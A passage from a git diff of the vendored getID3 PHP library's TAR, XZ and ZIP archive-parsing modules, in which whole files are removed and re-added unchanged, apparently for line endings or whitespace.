($mode & 0x8000) $type='-'; // Regular - elseif ($mode & 0xA000) $type='l'; // Symbolic Link - elseif ($mode & 0xC000) $type='s'; // Socket - else $type='u'; // UNKNOWN - - // Determine permissions - $owner = array(); - $group = array(); - $world = array(); - $owner['read'] = (($mode & 00400) ? 'r' : '-'); - $owner['write'] = (($mode & 00200) ? 'w' : '-'); - $owner['execute'] = (($mode & 00100) ? 'x' : '-'); - $group['read'] = (($mode & 00040) ? 'r' : '-'); - $group['write'] = (($mode & 00020) ? 'w' : '-'); - $group['execute'] = (($mode & 00010) ? 'x' : '-'); - $world['read'] = (($mode & 00004) ? 'r' : '-'); - $world['write'] = (($mode & 00002) ? 'w' : '-'); - $world['execute'] = (($mode & 00001) ? 'x' : '-'); - - // Adjust for SUID, SGID and sticky bit - if ($mode & 0x800) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S'; - if ($mode & 0x400) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S'; - if ($mode & 0x200) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T'; - - $s = sprintf('%1s', $type); - $s .= sprintf('%1s%1s%1s', $owner['read'], $owner['write'], $owner['execute']); - $s .= sprintf('%1s%1s%1s', $group['read'], $group['write'], $group['execute']); - $s .= sprintf('%1s%1s%1s'."\n", $world['read'], $world['write'], $world['execute']); - return $s; - } - - /** - * Converts the file type. - * - * @param string $typflag - * - * @return mixed|string - */ - public function get_flag_type($typflag) { - static $flag_types = array( - '0' => 'LF_NORMAL', - '1' => 'LF_LINK', - '2' => 'LF_SYNLINK', - '3' => 'LF_CHR', - '4' => 'LF_BLK', - '5' => 'LF_DIR', - '6' => 'LF_FIFO', - '7' => 'LF_CONFIG', - 'D' => 'LF_DUMPDIR', - 'K' => 'LF_LONGLINK', - 'L' => 'LF_LONGNAME', - 'M' => 'LF_MULTIVOL', - 'N' => 'LF_NAMES', - 'S' => 'LF_SPARSE', - 'V' => 'LF_VOLHDR' - ); - return (isset($flag_types[$typflag]) ? $flag_types[$typflag] : ''); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.tar.php // +// module for analyzing TAR files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// +// // +// Module originally written by // +// Mike Mozolin // +// // +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_tar extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'tar'; + $info['tar']['files'] = array(); + + $unpack_header = 'a100fname/a8mode/a8uid/a8gid/a12size/a12mtime/a8chksum/a1typflag/a100lnkname/a6magic/a2ver/a32uname/a32gname/a8devmaj/a8devmin/a155prefix'; + $null_512k = str_repeat("\x00", 512); // end-of-file marker + + $this->fseek(0); + while (!feof($this->getid3->fp)) { + $buffer = $this->fread(512); + if (strlen($buffer) < 512) { + break; + } + + // check the block + $checksum = 0; + for ($i = 0; $i < 148; $i++) { + $checksum += ord($buffer[$i]); + } + for ($i = 148; $i < 156; $i++) { + $checksum += ord(' '); + } + for ($i = 156; $i < 512; $i++) { + $checksum += ord($buffer[$i]); + } + $attr = unpack($unpack_header, $buffer); + $name = (isset($attr['fname'] ) ? trim($attr['fname'] ) : ''); + $mode = octdec(isset($attr['mode'] ) ? trim($attr['mode'] ) : ''); + $uid = octdec(isset($attr['uid'] ) ? trim($attr['uid'] ) : ''); + $gid = octdec(isset($attr['gid'] ) ? trim($attr['gid'] ) : ''); + $size = octdec(isset($attr['size'] ) ? trim($attr['size'] ) : ''); + $mtime = octdec(isset($attr['mtime'] ) ? trim($attr['mtime'] ) : ''); + $chksum = octdec(isset($attr['chksum'] ) ? trim($attr['chksum'] ) : ''); + $typflag = (isset($attr['typflag']) ? trim($attr['typflag']) : ''); + $lnkname = (isset($attr['lnkname']) ? trim($attr['lnkname']) : ''); + $magic = (isset($attr['magic'] ) ? trim($attr['magic'] ) : ''); + $ver = (isset($attr['ver'] ) ? trim($attr['ver'] ) : ''); + $uname = (isset($attr['uname'] ) ? trim($attr['uname'] ) : ''); + $gname = (isset($attr['gname'] ) ? trim($attr['gname'] ) : ''); + $devmaj = octdec(isset($attr['devmaj'] ) ? trim($attr['devmaj'] ) : ''); + $devmin = octdec(isset($attr['devmin'] ) ? trim($attr['devmin'] ) : ''); + $prefix = (isset($attr['prefix'] ) ? trim($attr['prefix'] ) : ''); + if (($checksum == 256) && ($chksum == 0)) { + // EOF Found + break; + } + if ($prefix) { + $name = $prefix.'/'.$name; + } + if ((preg_match('#/$#', $name)) && !$name) { + $typeflag = 5; + } + if ($buffer == $null_512k) { + // it's the end of the tar-file... + break; + } + + // Read to the next chunk + $this->fseek($size, SEEK_CUR); + + $diff = $size % 512; + if ($diff != 0) { + // Padding, throw away + $this->fseek((512 - $diff), SEEK_CUR); + } + // Protect against tar-files with garbage at the end + if ($name == '') { + break; + } + $info['tar']['file_details'][$name] = array ( + 'name' => $name, + 'mode_raw' => $mode, + 'mode' => self::display_perms($mode), + 'uid' => $uid, + 'gid' => $gid, + 'size' => $size, + 'mtime' => $mtime, + 'chksum' => $chksum, + 'typeflag' => self::get_flag_type($typflag), + 'linkname' => $lnkname, + 'magic' => $magic, + 'version' => $ver, + 'uname' => $uname, + 'gname' => $gname, + 'devmajor' => $devmaj, + 'devminor' => $devmin + ); + $info['tar']['files'] = getid3_lib::array_merge_clobber($info['tar']['files'], getid3_lib::CreateDeepArray($info['tar']['file_details'][$name]['name'], '/', $size)); + } + return true; + } + + /** + * Parses the file mode to file permissions. + * + * @param int $mode + * + * @return string + */ + public function display_perms($mode) { + // Determine Type + if ($mode & 0x1000) $type='p'; // FIFO pipe + elseif ($mode & 0x2000) $type='c'; // Character special + elseif ($mode & 0x4000) $type='d'; // Directory + elseif ($mode & 0x6000) $type='b'; // Block special + elseif ($mode & 0x8000) $type='-'; // Regular + elseif ($mode & 0xA000) $type='l'; // Symbolic Link + elseif ($mode & 0xC000) $type='s'; // Socket + else $type='u'; // UNKNOWN + + // Determine permissions + $owner = array(); + $group = array(); + $world = array(); + $owner['read'] = (($mode & 00400) ? 'r' : '-'); + $owner['write'] = (($mode & 00200) ? 'w' : '-'); + $owner['execute'] = (($mode & 00100) ? 'x' : '-'); + $group['read'] = (($mode & 00040) ? 'r' : '-'); + $group['write'] = (($mode & 00020) ? 'w' : '-'); + $group['execute'] = (($mode & 00010) ? 'x' : '-'); + $world['read'] = (($mode & 00004) ? 'r' : '-'); + $world['write'] = (($mode & 00002) ? 'w' : '-'); + $world['execute'] = (($mode & 00001) ? 'x' : '-'); + + // Adjust for SUID, SGID and sticky bit + if ($mode & 0x800) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S'; + if ($mode & 0x400) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S'; + if ($mode & 0x200) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T'; + + $s = sprintf('%1s', $type); + $s .= sprintf('%1s%1s%1s', $owner['read'], $owner['write'], $owner['execute']); + $s .= sprintf('%1s%1s%1s', $group['read'], $group['write'], $group['execute']); + $s .= sprintf('%1s%1s%1s'."\n", $world['read'], $world['write'], $world['execute']); + return $s; + } + + /** + * Converts the file type. + * + * @param string $typflag + * + * @return mixed|string + */ + public function get_flag_type($typflag) { + static $flag_types = array( + '0' => 'LF_NORMAL', + '1' => 'LF_LINK', + '2' => 'LF_SYNLINK', + '3' => 'LF_CHR', + '4' => 'LF_BLK', + '5' => 'LF_DIR', + '6' => 'LF_FIFO', + '7' => 'LF_CONFIG', + 'D' => 'LF_DUMPDIR', + 'K' => 'LF_LONGLINK', + 'L' => 'LF_LONGNAME', + 'M' => 'LF_MULTIVOL', + 'N' => 'LF_NAMES', + 'S' => 'LF_SPARSE', + 'V' => 'LF_VOLHDR' + ); + return (isset($flag_types[$typflag]) ? $flag_types[$typflag] : ''); + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.xz.php b/vendor/james-heinrich/getid3/getid3/module.archive.xz.php index 62c486d576..dbbc067ba7 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.xz.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.xz.php @@ -1,44 +1,44 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.xz.php // -// module for analyzing XZ files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_xz extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $this->fseek($info['avdataoffset']); - $xzheader = $this->fread(6); - - // https://tukaani.org/xz/xz-file-format-1.0.4.txt - $info['xz']['stream_header']['magic'] = substr($xzheader, 0, 6); - if ($info['xz']['stream_header']['magic'] != "\xFD".'7zXZ'."\x00") { - $this->error('Invalid XZ stream header magic (expecting FD 37 7A 58 5A 00, found '.getid3_lib::PrintHexBytes($info['xz']['stream_header']['magic']).') at offset '.$info['avdataoffset']); - return false; - } - $info['fileformat'] = 'xz'; - $this->error('XZ parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); - return false; - - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.archive.xz.php // +// module for analyzing XZ files // +// dependencies: NONE // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} + +class getid3_xz extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $this->fseek($info['avdataoffset']); + $xzheader = $this->fread(6); + + // https://tukaani.org/xz/xz-file-format-1.0.4.txt + $info['xz']['stream_header']['magic'] = substr($xzheader, 0, 6); + if ($info['xz']['stream_header']['magic'] != "\xFD".'7zXZ'."\x00") { + $this->error('Invalid XZ stream header magic (expecting FD 37 7A 58 5A 00, found '.getid3_lib::PrintHexBytes($info['xz']['stream_header']['magic']).') at offset '.$info['avdataoffset']); + return false; + } + $info['fileformat'] = 'xz'; + $this->error('XZ parsing not enabled in this version of getID3() ['.$this->getid3->version().']'); + return false; + + } + +} diff --git a/vendor/james-heinrich/getid3/getid3/module.archive.zip.php b/vendor/james-heinrich/getid3/getid3/module.archive.zip.php index 53d9dc3ea3..ef99c1410b 100644 --- a/vendor/james-heinrich/getid3/getid3/module.archive.zip.php +++ b/vendor/james-heinrich/getid3/getid3/module.archive.zip.php @@ -1,573 +1,573 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// see readme.txt for more details // -///////////////////////////////////////////////////////////////// -// // -// module.archive.zip.php // -// module for analyzing pkZip files // -// dependencies: NONE // -// /// -///////////////////////////////////////////////////////////////// - -if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers - exit; -} - -class getid3_zip extends getid3_handler -{ - /** - * @return bool - */ - public function Analyze() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'zip'; - $info['zip']['encoding'] = 'ISO-8859-1'; - $info['zip']['files'] = array(); - - $info['zip']['compressed_size'] = 0; - $info['zip']['uncompressed_size'] = 0; - $info['zip']['entries_count'] = 0; - - if (!getid3_lib::intValueSupported($info['filesize'])) { - $this->error('File is larger than '.round(PHP_INT_MAX / 1073741824).'GB, not supported by PHP'); - return false; - } else { - $EOCDsearchData = ''; - $EOCDsearchCounter = 0; - while ($EOCDsearchCounter++ < 512) { - - $this->fseek(-128 * $EOCDsearchCounter, SEEK_END); - $EOCDsearchData = $this->fread(128).$EOCDsearchData; - - if (strstr($EOCDsearchData, 'PK'."\x05\x06")) { - - $EOCDposition = strpos($EOCDsearchData, 'PK'."\x05\x06"); - $this->fseek((-128 * $EOCDsearchCounter) + $EOCDposition, SEEK_END); - $info['zip']['end_central_directory'] = $this->ZIPparseEndOfCentralDirectory(); - - $this->fseek($info['zip']['end_central_directory']['directory_offset']); - $info['zip']['entries_count'] = 0; - while ($centraldirectoryentry = $this->ZIPparseCentralDirectory()) { - $info['zip']['central_directory'][] = $centraldirectoryentry; - $info['zip']['entries_count']++; - $info['zip']['compressed_size'] += $centraldirectoryentry['compressed_size']; - $info['zip']['uncompressed_size'] += $centraldirectoryentry['uncompressed_size']; - - //if ($centraldirectoryentry['uncompressed_size'] > 0) { zero-byte files are valid - if (!empty($centraldirectoryentry['filename'])) { - $info['zip']['files'] = getid3_lib::array_merge_clobber($info['zip']['files'], getid3_lib::CreateDeepArray($centraldirectoryentry['filename'], '/', $centraldirectoryentry['uncompressed_size'])); - } - } - - if ($info['zip']['entries_count'] == 0) { - $this->error('No Central Directory entries found (truncated file?)'); - return false; - } - - if (!empty($info['zip']['end_central_directory']['comment'])) { - $info['zip']['comments']['comment'][] = $info['zip']['end_central_directory']['comment']; - } - - if (isset($info['zip']['central_directory'][0]['compression_method'])) { - $info['zip']['compression_method'] = $info['zip']['central_directory'][0]['compression_method']; - } - if (isset($info['zip']['central_directory'][0]['flags']['compression_speed'])) { - $info['zip']['compression_speed'] = $info['zip']['central_directory'][0]['flags']['compression_speed']; - } - if (isset($info['zip']['compression_method']) && ($info['zip']['compression_method'] == 'store') && !isset($info['zip']['compression_speed'])) { - $info['zip']['compression_speed'] = 'store'; - } - - // secondary check - we (should) already have all the info we NEED from the Central Directory above, but scanning each - // Local File Header entry will - foreach ($info['zip']['central_directory'] as $central_directory_entry) { - $this->fseek($central_directory_entry['entry_offset']); - if ($fileentry = $this->ZIPparseLocalFileHeader()) { - $info['zip']['entries'][] = $fileentry; - } else { - $this->warning('Error parsing Local File Header at offset '.$central_directory_entry['entry_offset']); - } - } - - // check for EPUB files - if (!empty($info['zip']['entries'][0]['filename']) && - ($info['zip']['entries'][0]['filename'] == 'mimetype') && - ($info['zip']['entries'][0]['compression_method'] == 'store') && - ($info['zip']['entries'][0]['uncompressed_size'] == 20) && - isset($info['zip']['entries'][0]['data_offset'])) { - // http://idpf.org/epub/30/spec/epub30-ocf.html - // "3.3 OCF ZIP Container Media Type Identification - // OCF ZIP Containers must include a mimetype file as the first file in the Container, and the contents of this file must be the MIME type string application/epub+zip. - // The contents of the mimetype file must not contain any leading padding or whitespace, must not begin with the Unicode signature (or Byte Order Mark), - // and the case of the MIME type string must be exactly as presented above. The mimetype file additionally must be neither compressed nor encrypted, - // and there must not be an extra field in its ZIP header." - $this->fseek($info['zip']['entries'][0]['data_offset']); - if ($this->fread(20) == 'application/epub+zip') { - $info['fileformat'] = 'zip.epub'; - $info['mime_type'] = 'application/epub+zip'; - } - } - - // check for Office Open XML files (e.g. .docx, .xlsx) - if (!empty($info['zip']['files']['[Content_Types].xml']) && - !empty($info['zip']['files']['_rels']['.rels']) && - !empty($info['zip']['files']['docProps']['app.xml']) && - !empty($info['zip']['files']['docProps']['core.xml'])) { - // http://technet.microsoft.com/en-us/library/cc179224.aspx - $info['fileformat'] = 'zip.msoffice'; - if (!empty($info['zip']['files']['ppt'])) { - $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; - } elseif (!empty($info['zip']['files']['xl'])) { - $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; - } elseif (!empty($info['zip']['files']['word'])) { - $info['mime_type'] = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; - } - } - - return true; - } - } - } - - if (!$this->getZIPentriesFilepointer()) { - unset($info['zip']); - $info['fileformat'] = ''; - $this->error('Cannot find End Of Central Directory (truncated file?)'); - return false; - } - - // central directory couldn't be found and/or parsed - // scan through actual file data entries, recover as much as possible from probable trucated file - if ($info['zip']['compressed_size'] > ($info['filesize'] - 46 - 22)) { - $this->error('Warning: Truncated file! - Total compressed file sizes ('.$info['zip']['compressed_size'].' bytes) is greater than filesize minus Central Directory and End Of Central Directory structures ('.($info['filesize'] - 46 - 22).' bytes)'); - } - $this->error('Cannot find End Of Central Directory - returned list of files in [zip][entries] array may not be complete'); - foreach ($info['zip']['entries'] as $key => $valuearray) { - $info['zip']['files'][$valuearray['filename']] = $valuearray['uncompressed_size']; - } - return true; - } - - /** - * @return bool - */ - public function getZIPHeaderFilepointerTopDown() { - $info = &$this->getid3->info; - - $info['fileformat'] = 'zip'; - - $info['zip']['compressed_size'] = 0; - $info['zip']['uncompressed_size'] = 0; - $info['zip']['entries_count'] = 0; - - rewind($this->getid3->fp); - while ($fileentry = $this->ZIPparseLocalFileHeader()) { - $info['zip']['entries'][] = $fileentry; - $info['zip']['entries_count']++; - } - if ($info['zip']['entries_count'] == 0) { - $this->error('No Local File Header entries found'); - return false; - } - - $info['zip']['entries_count'] = 0; - while ($centraldirectoryentry = $this->ZIPparseCentralDirectory()) { - $info['zip']['central_directory'][] = $centraldirectoryentry; - $info['zip']['entries_count']++; - $info['zip']['compressed_size'] += $centraldirectoryentry['compressed_size']; - $info['zip']['uncompressed_size'] += $centraldirectoryentry['uncompressed_size']; - } - if ($info['zip']['entries_count'] == 0) { - $this->error('No Central Directory entries found (truncated file?)'); - return false; - } - - if ($EOCD = $this->ZIPparseEndOfCentralDirectory()) { - $info['zip']['end_central_directory'] = $EOCD; - } else { - $this->error('No End Of Central Directory entry found (truncated file?)'); - return false; - } - - if (!empty($info['zip']['end_central_directory']['comment'])) { - $info['zip']['comments']['comment'][] = $info['zip']['end_central_directory']['comment']; - } - - return true; - } - - /** - * @return bool - */ - public function getZIPentriesFilepointer() { - $info = &$this->getid3->info; - - $info['zip']['compressed_size'] = 0; - $info['zip']['uncompressed_size'] = 0; - $info['zip']['entries_count'] = 0; - - rewind($this->getid3->fp); - while ($fileentry = $this->ZIPparseLocalFileHeader()) { - $info['zip']['entries'][] = $fileentry; - $info['zip']['entries_count']++; - $info['zip']['compressed_size'] += $fileentry['compressed_size']; - $info['zip']['uncompressed_size'] += $fileentry['uncompressed_size']; - } - if ($info['zip']['entries_count'] == 0) { - $this->error('No Local File Header entries found'); - return false; - } - - return true; - } - - /** - * @return array|false - */ - public function ZIPparseLocalFileHeader() { - $LocalFileHeader = array(); - $LocalFileHeader['offset'] = $this->ftell(); - - $ZIPlocalFileHeader = $this->fread(30); - - $LocalFileHeader['raw']['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 0, 4)); - if ($LocalFileHeader['raw']['signature'] != 0x04034B50) { // "PK\x03\x04" - // invalid Local File Header Signature - $this->fseek($LocalFileHeader['offset']); // seek back to where filepointer originally was so it can be handled properly - return false; - } - $LocalFileHeader['raw']['extract_version'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 4, 2)); - $LocalFileHeader['raw']['general_flags'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 6, 2)); - $LocalFileHeader['raw']['compression_method'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 8, 2)); - $LocalFileHeader['raw']['last_mod_file_time'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 10, 2)); - $LocalFileHeader['raw']['last_mod_file_date'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 12, 2)); - $LocalFileHeader['raw']['crc_32'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 14, 4)); - $LocalFileHeader['raw']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 18, 4)); - $LocalFileHeader['raw']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 22, 4)); - $LocalFileHeader['raw']['filename_length'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 26, 2)); - $LocalFileHeader['raw']['extra_field_length'] = getid3_lib::LittleEndian2Int(substr($ZIPlocalFileHeader, 28, 2)); - - $LocalFileHeader['extract_version'] = sprintf('%1.1f', $LocalFileHeader['raw']['extract_version'] / 10); - $LocalFileHeader['host_os'] = $this->ZIPversionOSLookup(($LocalFileHeader['raw']['extract_version'] & 0xFF00) >> 8); - $LocalFileHeader['compression_method'] = $this->ZIPcompressionMethodLookup($LocalFileHeader['raw']['compression_method']); - $LocalFileHeader['compressed_size'] = $LocalFileHeader['raw']['compressed_size']; - $LocalFileHeader['uncompressed_size'] = $LocalFileHeader['raw']['uncompressed_size']; - $LocalFileHeader['flags'] = $this->ZIPparseGeneralPurposeFlags($LocalFileHeader['raw']['general_flags'], $LocalFileHeader['raw']['compression_method']); - $LocalFileHeader['last_modified_timestamp'] = $this->DOStime2UNIXtime($LocalFileHeader['raw']['last_mod_file_date'], $LocalFileHeader['raw']['last_mod_file_time']); - - $FilenameExtrafieldLength = $LocalFileHeader['raw']['filename_length'] + $LocalFileHeader['raw']['extra_field_length']; - if ($FilenameExtrafieldLength > 0) { - $ZIPlocalFileHeader .= $this->fread($FilenameExtrafieldLength); - - if ($LocalFileHeader['raw']['filename_length'] > 0) { - $LocalFileHeader['filename'] = substr($ZIPlocalFileHeader, 30, $LocalFileHeader['raw']['filename_length']); - } - if ($LocalFileHeader['raw']['extra_field_length'] > 0) { - $LocalFileHeader['raw']['extra_field_data'] = substr($ZIPlocalFileHeader, 30 + $LocalFileHeader['raw']['filename_length'], $LocalFileHeader['raw']['extra_field_length']); - } - } - - if ($LocalFileHeader['compressed_size'] == 0) { - // *Could* be a zero-byte file - // But could also be a file written on the fly that didn't know compressed filesize beforehand. - // Correct compressed filesize should be in the data_descriptor located after this file data, and also in Central Directory (at end of zip file) - if (!empty($this->getid3->info['zip']['central_directory'])) { - foreach ($this->getid3->info['zip']['central_directory'] as $central_directory_entry) { - if ($central_directory_entry['entry_offset'] == $LocalFileHeader['offset']) { - if ($central_directory_entry['compressed_size'] > 0) { - // overwrite local zero value (but not ['raw']'compressed_size']) so that seeking for data_descriptor (and next file entry) works correctly - $LocalFileHeader['compressed_size'] = $central_directory_entry['compressed_size']; - } - break; - } - } - } - - } - $LocalFileHeader['data_offset'] = $this->ftell(); - $this->fseek($LocalFileHeader['compressed_size'], SEEK_CUR); // this should (but may not) match value in $LocalFileHeader['raw']['compressed_size'] -- $LocalFileHeader['compressed_size'] could have been overwritten above with value from Central Directory - - if ($LocalFileHeader['flags']['data_descriptor_used']) { - $DataDescriptor = $this->fread(16); - $LocalFileHeader['data_descriptor']['signature'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 0, 4)); - if ($LocalFileHeader['data_descriptor']['signature'] != 0x08074B50) { // "PK\x07\x08" - $this->getid3->warning('invalid Local File Header Data Descriptor Signature at offset '.($this->ftell() - 16).' - expecting 08 07 4B 50, found '.getid3_lib::PrintHexBytes($LocalFileHeader['data_descriptor']['signature'])); - $this->fseek($LocalFileHeader['offset']); // seek back to where filepointer originally was so it can be handled properly - return false; - } - $LocalFileHeader['data_descriptor']['crc_32'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 4, 4)); - $LocalFileHeader['data_descriptor']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 8, 4)); - $LocalFileHeader['data_descriptor']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($DataDescriptor, 12, 4)); - if (!$LocalFileHeader['raw']['compressed_size'] && $LocalFileHeader['data_descriptor']['compressed_size']) { - foreach ($this->getid3->info['zip']['central_directory'] as $central_directory_entry) { - if ($central_directory_entry['entry_offset'] == $LocalFileHeader['offset']) { - if ($LocalFileHeader['data_descriptor']['compressed_size'] == $central_directory_entry['compressed_size']) { - // $LocalFileHeader['compressed_size'] already set from Central Directory - } else { - $this->warning('conflicting compressed_size from data_descriptor ('.$LocalFileHeader['data_descriptor']['compressed_size'].') vs Central Directory ('.$central_directory_entry['compressed_size'].') for file at offset '.$LocalFileHeader['offset']); - } - - if ($LocalFileHeader['data_descriptor']['uncompressed_size'] == $central_directory_entry['uncompressed_size']) { - $LocalFileHeader['uncompressed_size'] = $LocalFileHeader['data_descriptor']['uncompressed_size']; - } else { - $this->warning('conflicting uncompressed_size from data_descriptor ('.$LocalFileHeader['data_descriptor']['uncompressed_size'].') vs Central Directory ('.$central_directory_entry['uncompressed_size'].') for file at offset '.$LocalFileHeader['offset']); - } - break; - } - } - } - } - return $LocalFileHeader; - } - - /** - * @return array|false - */ - public function ZIPparseCentralDirectory() { - $CentralDirectory = array(); - $CentralDirectory['offset'] = $this->ftell(); - - $ZIPcentralDirectory = $this->fread(46); - - $CentralDirectory['raw']['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 0, 4)); - if ($CentralDirectory['raw']['signature'] != 0x02014B50) { - // invalid Central Directory Signature - $this->fseek($CentralDirectory['offset']); // seek back to where filepointer originally was so it can be handled properly - return false; - } - $CentralDirectory['raw']['create_version'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 4, 2)); - $CentralDirectory['raw']['extract_version'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 6, 2)); - $CentralDirectory['raw']['general_flags'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 8, 2)); - $CentralDirectory['raw']['compression_method'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 10, 2)); - $CentralDirectory['raw']['last_mod_file_time'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 12, 2)); - $CentralDirectory['raw']['last_mod_file_date'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 14, 2)); - $CentralDirectory['raw']['crc_32'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 16, 4)); - $CentralDirectory['raw']['compressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 20, 4)); - $CentralDirectory['raw']['uncompressed_size'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 24, 4)); - $CentralDirectory['raw']['filename_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 28, 2)); - $CentralDirectory['raw']['extra_field_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 30, 2)); - $CentralDirectory['raw']['file_comment_length'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 32, 2)); - $CentralDirectory['raw']['disk_number_start'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 34, 2)); - $CentralDirectory['raw']['internal_file_attrib'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 36, 2)); - $CentralDirectory['raw']['external_file_attrib'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 38, 4)); - $CentralDirectory['raw']['local_header_offset'] = getid3_lib::LittleEndian2Int(substr($ZIPcentralDirectory, 42, 4)); - - $CentralDirectory['entry_offset'] = $CentralDirectory['raw']['local_header_offset']; - $CentralDirectory['create_version'] = sprintf('%1.1f', $CentralDirectory['raw']['create_version'] / 10); - $CentralDirectory['extract_version'] = sprintf('%1.1f', $CentralDirectory['raw']['extract_version'] / 10); - $CentralDirectory['host_os'] = $this->ZIPversionOSLookup(($CentralDirectory['raw']['extract_version'] & 0xFF00) >> 8); - $CentralDirectory['compression_method'] = $this->ZIPcompressionMethodLookup($CentralDirectory['raw']['compression_method']); - $CentralDirectory['compressed_size'] = $CentralDirectory['raw']['compressed_size']; - $CentralDirectory['uncompressed_size'] = $CentralDirectory['raw']['uncompressed_size']; - $CentralDirectory['flags'] = $this->ZIPparseGeneralPurposeFlags($CentralDirectory['raw']['general_flags'], $CentralDirectory['raw']['compression_method']); - $CentralDirectory['last_modified_timestamp'] = $this->DOStime2UNIXtime($CentralDirectory['raw']['last_mod_file_date'], $CentralDirectory['raw']['last_mod_file_time']); - - $FilenameExtrafieldCommentLength = $CentralDirectory['raw']['filename_length'] + $CentralDirectory['raw']['extra_field_length'] + $CentralDirectory['raw']['file_comment_length']; - if ($FilenameExtrafieldCommentLength > 0) { - $FilenameExtrafieldComment = $this->fread($FilenameExtrafieldCommentLength); - - if ($CentralDirectory['raw']['filename_length'] > 0) { - $CentralDirectory['filename'] = substr($FilenameExtrafieldComment, 0, $CentralDirectory['raw']['filename_length']); - } - if ($CentralDirectory['raw']['extra_field_length'] > 0) { - $CentralDirectory['raw']['extra_field_data'] = substr($FilenameExtrafieldComment, $CentralDirectory['raw']['filename_length'], $CentralDirectory['raw']['extra_field_length']); - } - if ($CentralDirectory['raw']['file_comment_length'] > 0) { - $CentralDirectory['file_comment'] = substr($FilenameExtrafieldComment, $CentralDirectory['raw']['filename_length'] + $CentralDirectory['raw']['extra_field_length'], $CentralDirectory['raw']['file_comment_length']); - } - } - - return $CentralDirectory; - } - - /** - * @return array|false - */ - public function ZIPparseEndOfCentralDirectory() { - $EndOfCentralDirectory = array(); - $EndOfCentralDirectory['offset'] = $this->ftell(); - - $ZIPendOfCentralDirectory = $this->fread(22); - - $EndOfCentralDirectory['signature'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 0, 4)); - if ($EndOfCentralDirectory['signature'] != 0x06054B50) { - // invalid End Of Central Directory Signature - $this->fseek($EndOfCentralDirectory['offset']); // seek back to where filepointer originally was so it can be handled properly - return false; - } - $EndOfCentralDirectory['disk_number_current'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 4, 2)); - $EndOfCentralDirectory['disk_number_start_directory'] = getid3_lib::LittleEndian2Int(substr($ZIPendOfCentralDirectory, 6, 